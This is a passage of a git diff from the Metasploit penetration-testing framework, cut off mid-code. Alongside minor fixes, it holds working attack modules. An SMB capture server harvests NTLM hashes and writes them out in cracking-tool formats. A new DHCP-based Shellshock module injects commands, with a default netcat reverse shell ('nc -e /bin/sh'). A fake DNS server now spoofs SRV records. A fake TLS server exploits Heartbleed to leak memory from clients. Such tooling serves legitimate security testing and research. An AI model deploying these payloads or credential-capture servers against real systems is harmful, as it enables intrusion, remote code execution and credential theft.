NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [nt_cli_challenge].pack("H*"), + :user => Rex::Text::to_ascii(smb[:username]), + :domain => Rex::Text::to_ascii(smb[:domain]), + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") + return + end - @previous_lm_hash = lm_hash - @previous_ntlm_hash = nt_hash - - # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" - else - lm_hash_message = lm_hash - lm_chall_message = lm_cli_challenge - end - when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(smb[:username]), - :domain => Rex::Text::to_ascii(smb[:domain]), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" - lm_chall_message = 'Disabled' - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(smb[:username]), - :domain => Rex::Text::to_ascii(smb[:domain]), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" - lm_chall_message = 'Disabled' - else - lm_hash_message = lm_hash - lm_chall_message = lm_cli_challenge - end - - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}") - return - end + if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 + lm_hash_message = "Disabled" + lm_chall_message = 'Disabled' + elsif NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [lm_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [lm_cli_challenge].pack("H*"), + :user => Rex::Text::to_ascii(smb[:username]), + :domain => Rex::Text::to_ascii(smb[:domain]), + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :type => 'lm' + } + ) + lm_hash_message = "Disabled (from empty password)" + lm_chall_message = 'Disabled' + else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end - - # Display messages - if esn - smb[:username] = Rex::Text::to_ascii(smb[:username]) - smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] - end - - capturedtime = Time.now.to_s - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - smb_db_type_hash = "smb_netv1_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" - when NTLM_CONST::NTLM_V2_RESPONSE - smb_db_type_hash = "smb_netv2_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr - #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture - smb_db_type_hash = "smb_netv1_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" - - else # should not happen + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [lm_hash].pack("H*")[0,8], + :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}") return end + lm_hash_message = lm_hash + lm_chall_message = lm_cli_challenge + end - print_status(capturelogmessage) - lm_text = (lm_hash + lm_cli_challenge.to_s).empty? ? "00" * 24 : lm_hash + lm_cli_challenge.to_s - nt_text = (nt_hash + nt_cli_challenge.to_s).empty? ? "00" * 24 : nt_hash + nt_cli_challenge.to_s - pass = "#{smb[:domain]}:#{lm_text}:#{nt_text}:#{datastore['CHALLENGE'].to_s}" + # Display messages + if esn + smb[:username] = Rex::Text::to_ascii(smb[:username]) + smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] + end - # DB reporting - report_auth_info( - :host => smb[:ip], - :port => datastore['SRVPORT'], - :sname => 'smb_challenge', - :user => smb[:username], - :pass => pass, - :type => smb_db_type_hash, - :proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}", - :source_type => "captured", - :active => true - ) + capturedtime = Time.now.to_s + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "LMHASH:#{lm_hash_message ? lm_hash_message : ""}", + "NTHASH:#{nt_hash ? nt_hash : ""}", + ].join("\n") + when NTLM_CONST::NTLM_V2_RESPONSE + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "LMHASH:#{lm_hash_message ? lm_hash_message : ""} ", + "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}", + "NTHASH:#{nt_hash ? nt_hash : ""} ", + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}", + ].join("\n") + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + # we can consider those as netv1 has they have the same size and are + # cracked the same way by cain/jtr also 'real' netv1 is almost never + # seen nowadays except with smbmount or msf server capture + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "NTHASH:#{nt_hash ? nt_hash : ""}", + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} ", + ].join("\n") + else # should not happen + return + end - report_note( - :host => smb[:ip], - :type => "smb_peer_os", - :data => smb[:peer_os] - ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) + print_status(capturelogmessage) - report_note( - :host => smb[:ip], - :type => "smb_peer_lm", - :data => smb[:peer_lm] - ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_peer_os", + :data => smb[:peer_os] + ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) - report_note( - :host => smb[:ip], - :type => "smb_domain", - :data => smb[:domain] - ) if (smb[:domain] and smb[:domain].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_peer_lm", + :data => smb[:peer_lm] + ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_domain", + :data => smb[:domain] + ) if (smb[:domain] and smb[:domain].strip.length > 0) - #if(datastore['LOGFILE']) - # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end + return unless smb[:username] - if(datastore['CAINPWFILE'] and smb[:username]) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") + if datastore['CAINPWFILE'] and smb[:username] + if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + File.open(datastore['CAINPWFILE'], "ab") do |fd| fd.puts( [ smb[:username], @@ -572,84 +578,79 @@ class Metasploit3 < Msf::Auxiliary nt_hash.empty? ? "0" * 48 : nt_hash ].join(":").gsub(/\n/, "\\n") ) - fd.close end end - - if(datastore['JOHNPWFILE'] and smb[:username]) - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE - - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - lm_hash.empty? ? "0" * 48 : lm_hash, - nt_hash.empty? ? "0" * 48 : nt_hash, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - @challenge.unpack("H*")[0], - lm_hash.empty? ? "0" * 32 : lm_hash, - lm_cli_challenge.empty? ? "0" * 16 : lm_cli_challenge - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - @challenge.unpack("H*")[0], - nt_hash.empty? ? "0" * 32 : nt_hash, - nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end - - end end - end - def smb_cmd_close(c, buff) - end + return if @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash + @previous_lm_hash = lm_hash + @previous_ntlm_hash = nt_hash - def smb_cmd_create(c, buff) - end + creds = [] - def smb_cmd_delete(c, buff) - end + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + lm_hash.empty? ? "0" * 48 : lm_hash, + nt_hash.empty? ? "0" * 48 : nt_hash, + @challenge.unpack("H*")[0] + ].join(":").strip - def smb_cmd_nttrans(c, buff) - end + creds.push(jtr_format: 'netntlm', private_data: jtr_hash) - def smb_cmd_open(c, buff) - end + when NTLM_CONST::NTLM_V2_RESPONSE + # don't bother recording if LMv2 is disabled + unless lm_hash == '0'*32 + # lmv2 + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + @challenge.unpack("H*")[0], + lm_hash, + lm_cli_challenge + ].join(":").strip - def smb_cmd_read(c, buff) - end + creds.push(jtr_format: 'netlmv2', private_data: jtr_hash) + end - def smb_cmd_trans(c, buff) - end + # NTLMv2 + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + @challenge.unpack("H*")[0], + nt_hash.empty? ? "0" * 32 : nt_hash, + nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge + ].join(":").strip - def smb_cmd_tree_connect(c, buff) - end + creds.push(jtr_format: 'netntlmv2', private_data: jtr_hash) - def smb_cmd_tree_disconnect(c, buff) - end + end + + # TODO we probably need a new Origin::Capture for this + @origin ||= create_credential_origin_import(filename: 'msfconsole') + + creds.each do |cred| + create_credential( + origin: @origin, + address: smb[:ip], + service_name: 'smb', + port: datastore['SRVPORT'], + private_data: cred[:private_data], + private_type: :nonreplayable_hash, + jtr_format: cred[:jtr_format], + username: smb[:username], + module_fullname: self.fullname, + workspace_id: myworkspace_id, + ) + if datastore['JOHNPWFILE'] + File.open(datastore['JOHNPWFILE'] + '_' + cred[:jtr_format] , "ab") do |fd| + fd.puts(cred[:private_data]) + end + end + end - def smb_cmd_write(c, buff) end end diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 44c864b4f0..7140aac85e 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index c0cb1b1dc2..74d1e6cbf2 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index cf55c77f0e..9987f56a54 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb new file mode 100644 index 0000000000..79bc17ab4d --- /dev/null +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DHCPServer + + def initialize + super( + 'Name' => 'DHCP Client Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting dhclient network configuration + scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options. + }, + 'Author' => + [ + 'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module + 'Stephane Chazelas', # Vulnerability discovery + 'Ramon de C Valle' # This module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => [ + ['CVE', '2014-6271'], + ['CWE', '94'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649',], + ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',] + ], + 'DisclosureDate' => 'Sep 24 2014' + ) + + register_options( + [ + OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) + ], self.class) + + deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') + end + + def run + value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}" + + hash = datastore.copy + hash['DOMAINNAME'] = value + hash['HOSTNAME'] = value + hash['URL'] = value + + # This loop is required because the current DHCP Server exits after the + # first interaction. + loop do + begin + start_service(hash) + + while @dhcp.thread.alive? + select(nil, nil, nil, 2) + end + + rescue Interrupt + break + + ensure + stop_service + end + end + end + +end diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index d6de6f90df..65aad4275c 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary 'DefaultAction' => 'Service' ) - register_options( - [ - OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), - OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), - OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), - OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]), - OptString.new('ROUTER', [ false, "The router IP address" ]), - OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]), - OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]), - OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]), - OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]), - OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ]) - ], self.class) end def run diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb index ea8643a9f5..1fda7a81a6 100644 --- a/modules/auxiliary/server/dns/spoofhelper.rb +++ b/modules/auxiliary/server/dns/spoofhelper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb index f61fa4b607..88c9c5f125 100644 --- a/modules/auxiliary/server/fakedns.rb +++ b/modules/auxiliary/server/fakedns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary This module provides a DNS service that redirects all queries to a particular address. }, - 'Author' => ['ddz', 'hdm'], + 'Author' => ['ddz', 'hdm', 'fozavci'], 'License' => MSF_LICENSE, 'Actions' => [ @@ -44,22 +44,27 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ + OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]), OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]), OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]), ], self.class) end + def target_host(addr = nil) + target = datastore['TARGETHOST'] + if target.blank? + if addr + ::Rex::Socket.source_address(addr) + else + nil + end + else + ::Rex::Socket.resolv_to_dotted(target) + end + end + def run - @targ = datastore['TARGETHOST'] - if(@targ and @targ.strip.length == 0) - @targ = nil - end - - if(@targ) - @targ = ::Rex::Socket.resolv_to_dotted(@targ) - end - @port = datastore['SRVPORT'].to_i @log_console = false @@ -90,10 +95,12 @@ class Metasploit3 < Msf::Auxiliary while @run @error_resolving = false packet, addr = @sock.recvfrom(65535) + src_addr = addr[3] @requestor = addr - break if packet.length == 0 + next if packet.length == 0 request = Resolv::DNS::Message.decode(packet) + next unless request.qr == 0 # # XXX: Track request IDs by requesting IP address and port @@ -109,6 +116,18 @@ class Metasploit3 < Msf::Auxiliary lst = [] request.each_question {|name, typeclass| + # Identify potential domain exceptions + @match_target = false + @match_name = name.to_s + @domain_target_list.each do |ex| + escaped = Regexp.escape(ex).gsub('\*','.*?') + regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE + if ( name.to_s =~ regex ) + @match_target = true + @match_name = ex + end + end + tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "") request.qr = 1 @@ -130,25 +149,12 @@ class Metasploit3 < Msf::Auxiliary # SOA -> windows XP self hostname lookup # - answer = Resolv::DNS::Resource::IN::A.new( @targ || ::Rex::Socket.source_address(addr[3].to_s) ) - - # Identify potential domain exceptions - @match_target = false - @match_name = name.to_s - @domain_target_list.each do |ex| - escaped = Regexp.escape(ex).gsub('\*','.*?') - regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE - if ( name.to_s =~ regex ) - @match_target = true - @match_name = ex - end - end + answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) if (@match_target and not @bypass) or (not @match_target and @bypass) # Resolve FAKE response if (@log_console) - print_status("DNS target domain found: #{@match_name}") - print_status("DNS target domain #{name.to_s} faked") + print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}") end else # Resolve the exception domain @@ -160,8 +166,7 @@ class Metasploit3 < Msf::Auxiliary next end if (@log_console) - print_status("DNS bypass domain found: #{@match_name}") - print_status("DNS bypass domain #{name.to_s} resolved #{ip}") + print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}") end end @@ -171,16 +176,54 @@ class Metasploit3 < Msf::Auxiliary when 'IN::MX' mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}")) ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}")) - ar = Resolv::DNS::Resource::IN::A.new( @targ || ::Rex::Socket.source_address(addr[3].to_s) ) + ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) request.add_answer(name, 60, mx) request.add_authority(name, 60, ns) request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar) when 'IN::NS' ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}")) - ar = Resolv::DNS::Resource::IN::A.new( @targ || ::Rex::Socket.source_address(addr[3].to_s) ) + ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr)) request.add_answer(name, 60, ns) request.add_additional(name, 60, ar) + + when 'IN::SRV' + if @bypass || !@match_target + if @log_console + print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}") + end + # if we are in bypass mode or we are in fake mode but the target didn't match, + # just return the real response RRs + resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV) + if resources.empty? + @error_resolving = true + print_error("Unable to resolve SRV record for #{name} -- skipping") + next + end + resources.each do |resource| + host = resource.target + port = resource.port.to_i + weight = resource.weight.to_i + priority = resource.priority.to_i + ttl = resource.ttl.to_i + request.add_answer( + name, + ttl, + Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host)) + ) + end + else + if @log_console + print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}") + # Prepare the FAKE response + request.add_answer( + name, + 10, + Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name)) + ) + request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr))) + end + end when 'IN::PTR' soa = Resolv::DNS::Resource::IN::SOA.new( Resolv::DNS::Name.create("ns.internet.com"), diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb index a365154600..c6bb913e8a 100644 --- a/modules/auxiliary/server/ftp.rb +++ b/modules/auxiliary/server/ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index e5bfe4631b..00513ca20d 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -269,11 +269,6 @@ class Metasploit3 < Msf::Auxiliary theaders = ('Authorization: NTLM ' << hash << "\r\n" << "Connection: Keep-Alive\r\n" ) - if (method == 'POST') - theaders << 'Content-Length: ' << - (@finalputdata.length + 4).to_s()<< "\r\n" - end - # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc if datastore['HTTP_HEADERFILE'] != nil print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}") diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb index eee8afd461..18ef1934ae 100644 --- a/modules/auxiliary/server/icmp_exfil.rb +++ b/modules/auxiliary/server/icmp_exfil.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary OptAddress.new('LOCALIP', [false, 'The IP address of the local interface']) ], self.class) - deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT') + deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT') end def run diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb new file mode 100644 index 0000000000..e0a93263cd --- /dev/null +++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb @@ -0,0 +1,537 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure', + 'Description' => %q{ + This module provides a fake SSL service that is intended to + leak memory from client systems as they connect. This module is + hardcoded for using the AES-128-CBC-SHA1 cipher. + }, + 'Author' => + [ + 'Neel Mehta', # Vulnerability discovery + 'Riku', # Vulnerability discovery + 'Antti', # Vulnerability discovery + 'Matti', # Vulnerability discovery + 'hdm' # MSF module + ], + 'License' => MSF_LICENSE, + 'Actions' => [['Capture']], + 'PassiveActions' => ['Capture'], + 'DefaultAction' => 'Capture', + 'References' => + [ + ['CVE', '2014-0160'], + ['US-CERT-VU', '720951'], + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'], + ['URL', 'http://heartbleed.com/'] + ], + 'DisclosureDate' => 'Apr 07 2014' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8443 ]), + OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]), + OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]), + OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false]) + ], self.class) + end + + # Initialize the client state and RSA key for this session + def setup + super + @state = {} + @cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls? + end + + # Setup the server module and start handling requests + def run + print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") + exploit + end + + # Determine how much memory to leak with each request + def heartbeat_read_size + datastore['HEARTBEAT_READ'].to_i + end + + # Determine how much heartbeat data to capture at the most + def heartbeat_limit + datastore['HEARTBEAT_LIMIT'].to_i * 1024 + end + + # Determine whether we should negotiate TLS or not + def negotiate_tls? + !! datastore['NEGOTIATE_TLS'] + end + + # Initialize a new state for every client + def on_client_connect(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :heartbeats => "", + :server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28) + } + print_status("#{@state[c][:name]} Connected") + end + + # Buffer messages and parse them once they are fully received + def on_client_data(c) + data = c.get_once + return if not data + @state[c][:buff] ||= "" + @state[c][:buff] << data + process_request(c) + end + + # Extract TLS messages from the buffer and process them + def process_request(c) + + # Make this slightly harder to DoS + if @state[c][:buff].to_s.length > (1024*128) + print_status("#{@state[c][:name]} Buffer limit reached, dropping connection") + c.close + return + end + + # Process any buffered messages + loop do + break unless @state[c][:buff] + + message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn") + break unless message_len + break unless @state[c][:buff].length >= message_len+5 + + mesg = @state[c][:buff].slice!(0, message_len+5) + + if 